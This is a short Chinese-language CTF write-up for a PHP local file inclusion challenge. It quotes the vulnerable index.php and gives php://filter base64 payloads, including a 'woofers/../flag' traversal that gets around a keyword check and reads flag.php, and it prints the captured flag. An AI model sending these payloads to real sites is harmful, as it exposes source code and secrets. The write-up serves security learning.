题目

这里有传参

 

文件包含使用伪协议读取flag

先读取index.php查看

/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

              <?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件，我们要想办法包含flag.php
尝试直接读取/index.php?category=woofers/../flag

/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}